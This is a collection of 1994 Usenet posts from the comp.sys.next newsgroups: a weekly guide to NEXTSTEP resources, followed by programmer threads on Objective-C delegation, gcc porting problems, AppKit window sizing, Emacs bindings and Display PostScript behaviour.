From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 25 Apr 1994 14:02:38 -0400 Organization: Next Announcements Message-ID: <2ph0ju$e0j@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: NEXTSTEP World Wide Web Product Information Server online NEXTSTEP Product Information Mail Server online comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers Much of this information is also available using the World Wide Web, <http://digifix.digifix.com/index.html> NEXTSTEP World Wide Web Product Information Server online --------------------------------------------------------- A product directory built around the World Wide Web system, this will allow full multimedia announcements by NEXTSTEP developers, as well as the ability to browse the available products for NEXTSTEP. This service is online now, and can be reached at http://digifix.digifix.com/ it can be reached using OmniWeb (available from ftp.omnigroup.com) or Mosaic. The entries are coming in quite quickly, and I'll be moving the entire NEXTSTEP Third Party Catalog contents in as soon as they become available. NEXTSTEP Product Information Mail Server online --------------------------------------------------------- The NEXTSTEP Product Information Mail Server is now available for product literature and pricing from NEXTSTEP developers. You can get information on using the mail server at ns-products@digifix.com Suggestions or comments can be directed to me at sanguish@digifix.com comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.programmer From: drew@fnbc.com (Drew Davidson) Subject: Re: delegation and inheritance Message-ID: <1994Apr25.172027.10340@fnbc.com> Sender: news@fnbc.com Organization: First National Bank Of Chicago, Chicago IL, USA References: <2p8m8i$30a@news.bu.edu> Date: Mon, 25 Apr 94 17:20:27 GMT In article <2p8m8i$30a@news.bu.edu> pdell@cs17.NoSubdomain.NoDomain (Paul Dell) writes: > In the May issue of Byte magazine an article states "No current OOP language > supports both delegation and inheritance." Is that true? I thought that > objective-c on NEXTSTEP supports both. > > Thanks, > Paul Dell > pdell@bu.edu Unencumbered as I am by the facts, I shall post. Perhaps it said "No current OOP language supports both delegation and multiple inheritance." That would make more sense, since delegation (or forwarding) is a cheap way to implement multiple inheritance if the language does not support it. It can only be truly useful in dynamically bound systems where the type of the delegate object need not be known at compile-time (such as ObjC). Considering that it is Byte, though, perhaps not. Their narrowness of vision is well known, so it wouldn't suprise me if Objective-C missed that authors attention. -- +--------------------------------+---------------------------------------+ | Drew Davidson - Software Guy | "Computers are useless. They can | | First National Bank of Chicago | only give you answers." | | drew@fnbc.com (NeXTmail) | - Pablo Picasso | +--------< All opinions expressed here are mine and mine alone >---------+
Newsgroups: comp.sys.next.programmer From: keithw@fiji.umhc.umn.edu (Keith Willard) Subject: Re: Any problems with MallocDebug? Message-ID: <CotyLJ.HzA@news.cis.umn.edu> Keywords: MallocDebug, dbkit Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota, Twin Cities Distribution: comp Date: Mon, 25 Apr 1994 19:42:08 GMT > I'm trying to use MallocDebug on my (dbkit) application. I link the > MallocDebug library into my app and try to run it. you can get this problem (or one very similar to it) by trying to use MallocDebug with several of next's dbkit examples. in talking to tech support they were able to reproduce the problem and told us they had filed it as a bug report with engineering. that is the last i have heard of it since then a few months ago. ---------------------------------- Keith Willard Laboratory Medicine and Pathology University of Minnesota <keithw@tahiti.umhc.umn.edu>
Newsgroups: comp.sys.next.programmer From: karl@trapac.com (Karl Kraft) Subject: Re: A plea from a notebook user - window sizing! Message-ID: <Cotu84.94w@trapac.com> Sender: karl@trapac.com (Karl Kraft) Organization: Trans Pacific Container Service Corporation References: <CotEFL.FB8@xexos.com> Date: Mon, 25 Apr 1994 18:04:52 GMT In article <CotEFL.FB8@xexos.com> mark@xexos.com (Mark Chamberlain) writes: > > On the Mac, you can switch your own screen down to look like a compact Mac-size > screen, this seems to me to be the only option for NeXT, supply an IB-mode, or > a driver, that can switch down to 640x480 for testing. You can do this now. If you look at the end of the Appkit Release Note (Appkit.rtf). You can edit /localconfig/screens/MegaPixel and change the size of the screen to something smaller. -- Karl Kraft Karl_Kraft@trapac.com Karl_Kraft@ensuing.com [My opinions are my own]
From: pww@bnr.ca (Peter Whittaker) Newsgroups: comp.sys.next.programmer,comp.unix.programmer Subject: Problems with gcc under NeXTStep: should I build 2.5.8? Followup-To: comp.sys.next.programmer Date: 26 Apr 1994 02:13:13 GMT Organization: Bell-Northern Research Ltd., Ottawa Message-ID: <2phtbp$hdt@bcars6a8.bnr.ca> Originator: pww@bcarh355 I've recently been tasked with porting some apps (ISODE and some in-house c++ code, to be exact) to NeXTStep on Intel. Stifling my usual reaction to "...but Pete, it's just a recompile", I've set about my task. It goes not well. Rather than include code snippets, I'll describe the problems in general terms, and describe my environment, in hopes that someone will recognize the symptons and suggest a cure. First off, I'm running gcc 2.2.2 under NeXTStep 3.2 on an Intel 486. Three problems encountered so far: 1) When building "traditional, bsd-style" code, the preprocessor complains that I should not be including ANSI headers with BSD code, even when I compile with "-bsd -I/my/includes -I/usr/include/bsd -I-"; the header files which generate the includes are system header files (included after a fairly deep set of #include directives). 2) When building ISODE, I run into a problem where a macro definition is not picked up by gcc, even though every other compiler in existence, including gcc on other platforms, and the HP 8.07 complier, finds the macro definition. Short description: a.c defines macro1, then includes a.h; a.h defines macro2 if macro1 is defined; a.c references macro2 in a strcmp; the compiler reject macro2 as an unknown, undeclared, never-before-seen function. My advanced optical neural net parser (1/2 :->) detects no errors. And neither do other compilers, as mentioned. 3) When building some .cxx files, gcc 2.2.2 under NeXTStep 3.2 complains many times about mixing pointers and integers, about data elements being passed without casts, and about Gstrings, etc. (These I can live with.) The compiler dies when constructors are used with too few or two many operators. In all cases, this is code that has compiled cleanly with neither warning nor error under several other gcc's, Visual C++, and a few others. In the case of the constructors, assumption of a default initializer or copy function would do the trick (and other compilers seem to make the right assumptions. gcc continues to complain no matter how much I try to loosen the rules (of course, I run into error "1" if I loosen them too much)). I've been using NeXTStep for just about two weeks, so I'm new to its vagaries and complexities; I've used gcc on and off for 4 years, so I know it generally does the right thing. What I'm wondering is, is there some way to get gcc 2.2.2 under NeXTStep 3.2 to "forget" about NeXTisms and "just be UNIX"? Is the question even sensible? Should I try "-nostdinc"? Should I try having the compiler ignore pre-compiled headers? Am I even getting pre-compiled headers? (I've spent several days deep in the man pages, NeXT libraries, and release notes, enough to have some idea where each contradicts of augments the others, but not enough to have developed a sense of how the parts interwork under NeXTStep.) What I really need is a quick-and-dirty way of making gcc less picky, and having behave more like it does on other platforms. I'm sure that there are those among you who have run into similar problems before. I await your words. (Alternatively, should I trash gcc 2.2.2 and build 2.5.8? Or wait for 3.3? Actually, that's not an option....) Thanks, pww -- Peter Whittaker [~~~~~~~~~~~~~~~~~~~~~~~~~~] Information & Workflow Mgt pww@bnr.ca [ ] Bell Northern Research Ph: +1 613 765 2064 [ ] P.O. Box 3511, Station C FAX:+1 613 765 2854 [__________________________] Ottawa, Ontario, K1Y 4H7
Newsgroups: comp.sys.next.programmer From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: A plea from a notebook user - window sizing! Message-ID: <1994Apr25.233625.21489@seer.demon.co.uk> Sender: news@seer.demon.co.uk Organization: P & L Systems References: <1994Apr25.082204.20096@news.media.mit.edu> Date: Mon, 25 Apr 1994 23:36:25 GMT In article <1994Apr25.082204.20096@news.media.mit.edu> wave@media.mit.edu (Michael B. Johnson) writes: > In article <1994Apr24.224520.18791@seer.demon.co.uk> paul@seer.demon.co.uk writes: > >>In article <2peh39$6ko@gap.cco.caltech.edu> patricia@cco.caltech.edu > >>(Patricia M. Schwarz) writes: > >>> I was having a lot of fun with my new notebook yesterday, until I > >>started > >>> up the MicroPhone script editor and realized that the window is > >>> larger than the notebook screen and so I can neither resize it nor > >>> have access to any of the interface below the screen edge except for the > >>> Okay button, which a CR gets from anywhere. > >>> > <<stuff deleted>> > >>I sure hope this is fixed in 3.3. > >> > > How could it be? This is the app's problem, not NEXTSTEP. If the app > is designed for a particular amount of screen real estate, it needs > to be redesigned to fix this. Given that Microphone was done as a 2.x > app, back in the days of one-screen-one-size, it was a reasonable thing, > but now in the 3.x multi-resolution world that we're in today, it's > up to the app designer to deal with this. As a registered owner of > a black copy of Microphone, I haven't heard much from Software Ventures > in a long time, so I don't know if we'll ever see a new copy of Microphone > out, but if we do, I would hope they would deal with this problem (since > a telecommunications program is apt to be installed on a portable...). Well, rewriting every single app is one solution, for sure. However, the problem (as I see it) goes further than that. If I use a 1280x1024 screen to set up a project in TaskMaster, I will resize the window to use the full screen. If you have used TaskMaster, you will know what I mean. If I then log in on a machine with 800x600, I have nothing to grab onto to resize the display. How exactly is an app supposed to know what to do? Perhaps new facilities should be provided in the AppKit to allow apps to solve this problem. Given the new ability to use different screen dimensions, the dependency on pel sizes for icons is another problem which is specifically inside NeXTSTEP. Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 9 Stable Lane, Seer Green, Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.software,comp.sys.next.programmer #################################################################### Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: Breaking an NXConnection. How to do that, please? Message-ID: <CouLJB.I0@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <CoLorD.7r0@is.com> Date: Tue, 26 Apr 1994 03:54:46 GMT # port_deallocate(task_self(), [[myConnection inPort] machPort]); # The server will get notification of the port death. I don't know # any other way to trigger port death notification other than # actually trashing the port. But what about the server? That is, how the hell does one kill the NXConnection that was formed by +registerRoot: such that everything that is connected to the root connection receives notification (the object that was registered as root should continue to exist)? Killing the outgoing port does not work (it didn't work in my mind, and it didn't work in code)... (I tried freeing the NXConnection that was the result of the +registerRoot:, that didn't cause the invalidation notification to happen, either) ideas? b.bum -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
From: bussarj@alleg.edu (Jeremy Bussard) Newsgroups: comp.sys.next.programmer Subject: Time and Date into text fields Date: 25 Apr 1994 22:19:44 GMT Organization: Allegheny College Message-ID: <2phfm0$7q@mustang.alleg.edu> Afternoon, I was wondering if anyone had some code that would get the current time of day and the current date and place them each into individual text fields? I need to be able to do this for an app I'm writing and have not found an easy way to do this. E-mail responses greatly appreciated!! Thanks, Jeremy -- ########################## bussarj@alleg.edu ############################ "When a person sees desire and dedication within the self, that person has the realization of hope... When this same person also sees inspiration within desire and dedication, that person then has the realization of a dream..." ######################### Jeremy Allan Bussard ########################## -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,%QB,%QI7'5L;F]N95QF<S(T7&9C,%QC9C`@069T97)N;V]N+%P* M7`H)22!W87,@=V]N9&5R:6YG(&EF(&%N>6]N92!H860@<V]M92!C;V1E('1H M870@=V]U;&0@9V5T('1H92!C=7)R96YT('1I;64@;V8@9&%Y(&%N9"!T:&4@ M8W5R<F5N="!D871E(&%N9"!P;&%C92!T:&5M(&5A8V@@:6YT;R!I;F1I=FED M=6%L('1E>'0@9FEE;&1S/R!)(&YE960@=&\@8F4@86)L92!T;R!D;R!T:&ES M(&9O<B!A;B!A<'`@22=M('=R:71I;F<@86YD(&AA=F4@;F]T(&9O=6YD(&%N M(&5A<WD@=V%Y('1O(&1O('1H:7,N($4M;6%I;"!R97-P;VYS97,@9W)E871L M>2!A<'!R96-I871E9"$A7`I<"E1H86YK<RQ<"EP*"4IE<F5M>5P*7`HM+5P* M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,@8G5S<V%R:D!A;&QE9RYE9'4@ M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(UP*(E=H96X@82!P97)S;VX@ M<V5E<R!D97-I<F4@86YD(&1E9&EC871I;VX@=VET:&EN('1H92!S96QF+"`@ M("`@("`@("`@("`@("!<"B!T:&%T('!E<G-O;B!H87,@=&AE(')E86QI>F%T M:6]N(&]F(&AO<&4N+BX@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@ M7`I7:&5N('1H:7,@<V%M92!P97)S;VX@86QS;R!S965S(&EN<W!I<F%T:6]N M('=I=&AI;B!D97-I<F4@86YD(&1E9&EC871I;VXL(%P*('1H870@<&5R<V]N M('1H96X@:&%S('1H92!R96%L:7IA=&EO;B!O9B!A(&1R96%M+BXN(EP*(R,C M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R!*97)E;7D@06QL86X@0G5S<V%R9"`C M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R`@("`@("`@("`@("`@("`@("`@ %("`*?0HC `
From: Ali_Ozer@NeXT.com (Ali Ozer) Newsgroups: comp.sys.next.programmer Subject: Re: A plea from a notebook user - window sizing! Date: 26 Apr 1994 13:57:33 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2pj6kd$ks7@rosie.next.com> References: <1994Apr25.233625.21489@seer.demon.co.uk> In article <1994Apr25.233625.21489@seer.demon.co.uk> Paul Lynch writes: > Well, rewriting every single app is one solution, for sure. However, the > problem (as I see it) goes further than that. If I use a 1280x1024 screen > to set up a project in TaskMaster, I will resize the window to use the > full screen. If you have used TaskMaster, you will know what I mean. > > If I then log in on a machine with 800x600, I have nothing to grab onto to > resize the display. How exactly is an app supposed to know what to do? > Perhaps new facilities should be provided in the AppKit to allow apps to > solve this problem. If a window is too big for the screen, the AppKit will do its best to make sure it's fully displayed. It tries to make sure the title bar is accessible, and then it tries to resize the window down so the resize bar is also on the screen. Of course, if a window does not have a resize bar, the AppKit assumes the window cannot be resized and leaves it alone. There aren't too many apps that do this, but ones that do are a pain on small screens. BTW, the resizing of a window isn't as straightforward as it might seem. Remember the delegation methods that allow a window's delegate to adjust window sizes during sizing? When the kit is resizing a window smaller, it has to negogiate with the delegate for a size that is acceptable to both... For instance the kit might say, fine, you're now 640 high, but the delegate might say, hmm, 640, but I really want to be a multiple of 50, so I'll make myself 650. That of course is unacceptable for a screen that is 640 high. So the two have to converge to 600, eventually. Ali, Ali_Ozer@NeXT.com
From: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat) Newsgroups: comp.sys.next.programmer Subject: scan conversion details in NEXTSTEP's implementation of DPS Date: 26 Apr 1994 12:33:42 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9404261612.AA01007@flexus> LS, The DPS manual ``Extensions for the Display PostScript System'', even as part of the ``NeXT Developer's Library'', says that pixels and shapes include their left and bottom borders. Yet Pre3.0_Concepts/04_Drawing.rtfd says that pixels and shapes include their left and *top* borders (MegaPixel display and 400-dpi NeXT printer), and this is exactly the behaviour that is observed in NS_3.2 (MegaPixel display). Apart from my perception that this is rather cumbersome (not to say ridiculous), isn't this also a violation of the DPS specification? Do other NEXTSTEP implementations do the same thing? I have both manuals since 1991, and NS_3.2 contains the Drawing stuff essentially unchanged since then. Raf Schietekat, RfSchtkt@maze.ruca.ua.ac.be, Flanders, Belgium (real, i.e., with triangle in the Deliver button) NeXTmail preferred Addressing limitations: no !, % or .uucp (? I should test this again) To test: flexus> pft Connection to PostScript established. /win 200 200 200 200 Retained window def 50 win setwindowlevel Above 0 win orderwindow win windowdeviceround 0 0 moveto 100 0 lineto stroke 100 1 moveto 200 1 lineto stroke 0 0 moveto 0 100 lineto stroke
#################################################################### From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.programmer Subject: Re: A plea from a notebook user - window sizing! Date: 26 Apr 1994 18:47:32 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <2pjnk4$344@agate.berkeley.edu> References: <2pj6kd$ks7@rosie.next.com> In article <2pj6kd$ks7@rosie.next.com> Ali_Ozer@NeXT.com (Ali Ozer) writes: >In article <1994Apr25.233625.21489@seer.demon.co.uk> Paul Lynch writes: >> >> If I then log in on a machine with 800x600, I have nothing to grab onto to >> resize the display. How exactly is an app supposed to know what to do? >> Perhaps new facilities should be provided in the AppKit to allow apps to >> solve this problem. > >If a window is too big for the screen, the AppKit will do its best to >make sure it's fully displayed. It tries to make sure the title bar is >accessible, and then it tries to resize the window down so the resize bar >is also on the screen. Why can't standard release NEXTSTEP support a virtual screen size of 1120x832 if the screen resolution is smaller than the original NS size? When the mouse pointer lands on the couple of pixels on the edge, it can start scrolling to reveal extended screen space beyond, if any. This will cost some backing store RAM and increases swapping, but is far better than not being able to use an app at all. I've seen such a thing on Linux X a year ago. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXT & MIME mails welcome)
From: bhill@physics.ucla.edu (Brian Hill) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 26 Apr 1994 19:20:41 GMT Organization: Dept. of Physics, UCLA Message-ID: <BHILL.94Apr26122041@spike.physics.ucla.edu> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> In-reply-to: cedman@princeton.edu's message of Mon, 25 Apr 1994 03:24:18 GMT Perhaps you could tell us what to expect as new versions of emacs come out. In particular, when 19.23 is released, do you intend to reincorporate the changes that are necessary for Emacs.app v 4.0? Thanks. --Brian Hill
Newsgroups: comp.sys.next.software,comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: Hints on using Emacs for NeXTstep In-Reply-To: cedman@princeton.edu's message of Mon, 25 Apr 1994 03:24:18 GMT Message-ID: <BYER.94Apr26110828@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> Date: Tue, 26 Apr 1994 18:08:27 GMT Emacs 19 is the greatest. Edit is only for RTF now - it's so great to have a mouse based editor with a language inside! Thank you Carl! Carl Edman writes: Carl> Emacs UseOpenPanel NO Carl> Hopelessly mousophile degenerates probably want to set that to YES. Carl> The punishment is that they'll have to use the standard File Panel for Carl> all file operations in Emacs. Alternatively, I use: (global-set-key [?\s-o] '(lambda () (interactive) (let ((filename (ns-read-file-name "Open File Other Frame..." nil nil nil (if (buffer-file-name) (file-name-nondirectory (buffer-file-name)) nil)))) (if filename (find-file-other-frame filename) (message "Operation cancelled."))))) That way, ^X^F gets me there fast, and if I want all the gooey stuff, I'll hit CMD-o. It'd probably be cleaner to define a function and then also have the menu bar open map to it, but I'll leave that as an exercise for the reader. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. === === Everything is impossible until it isn't.
From: mark@ve6mgs.ampr.ab.ca (Mark Gregory Salyzyn) Newsgroups: comp.sys.next.programmer Subject: redeclared as different kind of symbol - GCC 2.5.8 Message-ID: <CovCEx.D5n@ve6mgs.ampr.ab.ca> Date: Tue, 26 Apr 1994 13:35:21 GMT Organization: VE6MGS Gateway I am trying to compile FlexFax under the NeXTSTEP environment. To do this I curled up GCC 2.5.8. I am getting an error message I don't understand, being unfamiliar with the details of G++, with one of the g++ include files (g++/new.h). The error message is: /usr/local/lib/gcc-lib/i386-next-bsd/2.5.8/include/g++/new.h: In function `void * operator new(long unsigned int, void *)': In file included from Types.h:31, from Obj.h:30, from Array.h:29, from Array.c++.9916.c:25: /usr/local/lib/gcc-lib/i386-next-bsd/2.5.8/include/g++/new.h:25: `void * operator new(long unsigned int, void *)' redeclared as different kind of symbol /usr/local/lib/gcc-lib/i386-next-bsd/2.5.8/include/g++/new.h:25: confused by earlier errors, bailing out Line 25 of new.h looks like: /* default placement version of operator new*/ static inline void *operator new(size_t, void *place) { return place; } If anyone can suggest what I would need to do to eliminate this error message (besides removing this entry, since the code I am using will complain copiously about incorrect numbers of parameters for the `new' operator then). This code compiled without compile errors under GCC 2.5.7, however, the code itself was not operational since there were severe bugs in 2.5.7 with creating correct code (under optimization), and I had hoped 2.5.8 would have solved this for me ... Ciao -- Mark Salyzyn
Newsgroups: comp.sys.next.programmer From: bill@markov.math.mcgill.ca (Bill Anderson) Subject: how can I install a bare-bones C compiler? Message-ID: <1994Apr26.191339.9677@sifon.cc.mcgill.ca> Sender: news@sifon.cc.mcgill.ca Organization: McGill University Date: Tue, 26 Apr 1994 19:13:39 GMT I installed NeXTStep 3.0 last year, and only noticed today that I don't have a C compiler aboard, or any Unix man pages. Am I correct in thinking that I have to install the entire Developer.pkg to get the $C$ compiler, and the entire Documentation.pkg to get the manual pages? That is a lot of disk space. I don't want to develop NeXT software. I only want to compile some $C$ programs that don't use the NeXT interface, like the newsreader nn. So is there some way of only loading the bare minimum of files needed for compiling? I notice they seem to be there in the /bin directory on the CD-rom. Thanks, Bill Anderson
From: scott@nic.gac.edu (Scott Hess) Newsgroups: comp.sys.next.programmer Subject: Re: delegation and inheritance Date: 26 Apr 94 14:01:00 Organization: Is a sign of weakness Message-ID: <SCOTT.94Apr26140100@nic.gac.edu> References: <2p8m8i$30a@news.bu.edu> <1994Apr25.172027.10340@fnbc.com> In-reply-to: drew@fnbc.com's message of Mon, 25 Apr 94 17:20:27 GMT In article <1994Apr25.172027.10340@fnbc.com>, drew@fnbc.com (Drew Davidson) writes: >In article <2p8m8i$30a@news.bu.edu>, > pdell@cs17.NoSubdomain.NoDomain (Paul Dell) writes: >> In the May issue of Byte magazine an article states "No current >> OOP language supports both delegation and inheritance." Is >> that true? I thought that objective-c on NEXTSTEP supports >> both. > >Unencumbered as I am by the facts, I shall post. > >Perhaps it said "No current OOP language supports both delegation >and multiple inheritance." > >That would make more sense, since delegation (or forwarding) is >a cheap way to implement multiple inheritance if the language does >not support it. It can only be truly useful in dynamically bound >systems where the type of the delegate object need not be known >at compile-time (such as ObjC). Hmm. Well, Objective-C supports something called delegation. Objective-C style delegation, though, can be implemented in almost _any_ OOP language. What the author _may_ have meant was that no language has both (language-level) support for delegation and (language-level) support for inheritence. Just as you can simulate objects in a non-object language (C++ may be an example :-), you can simulate delegation in a non-delegating (???) language. I believe the same article has an example of simulation of delegation using Oberon or Modula-3 or some other Pascalish object language. It was unclear, though, what the author would think _was_ delegation. I'd suspect he meant something like what the Self language does, ie, prototype-based objects. Self doesn't have classes, only objects. Objects "inherit" directly from other objects. Say we have an object, AA, which implements the slots (methods) "hue" and "color", and another object, BB, which has slots "*inherit" and "color". Star (*) indicates a slot that can be inherited through. (Forgive syntax errors, it's been awhile.) If you said "BB inherit:AA.", that would set BB's *inherit slot to AA (Objective-C would look like "[BB setInherit:aa]"). If you said "AA color." you call AA's color slot (ObjC: "[AA color];"), if you said "BB color." you call BB's color slot (ObjC: "[BB color];"). If you said "BB hue.", the runtime wouldn't find "hue" as a slot in BB, so it would follow all of BB's * slots, and would thus find "hue" in AA. Now, say that AA's "hue" method says something on the order of "color." In Objective-C that would look like "[self color];", though in Self, "self" is implicit (hence the name of the language). This is where a fundamental difference comes in. When you said "BB hue." and the runtime found "hue" in AA via BB's "*inherit" slot, "self" (the implicit receiver) will still be BB! So, if you originally said "BB hue.", then when the "hue" method says "color.", the runtime looks for the "color" slot in BB, _not_ AA. This is a big difference from what Objective-C has. In Objective-C, you have to pass along the sender as a parameter. In Self, the sender is implicit. Self's style of delegation simply cannot be done in Objective-C, though with some programmer discipline and lots of accessor methods, you can get many of the same benefits. [Self is a language in development at Stanford, I believe. There are versions for Suns and the like, but not for NeXT's. Sigh. The anonymous ftp site self.stanford.edu has some papers and other information about Self. If you're at all interested in object oriented languages, or if you just liked Smalltalk (or perhaps LISP), it's worth checking out. If you think C++ is a good OOPL, run screaming for the hills ...] >Considering that it is Byte, though, perhaps not. 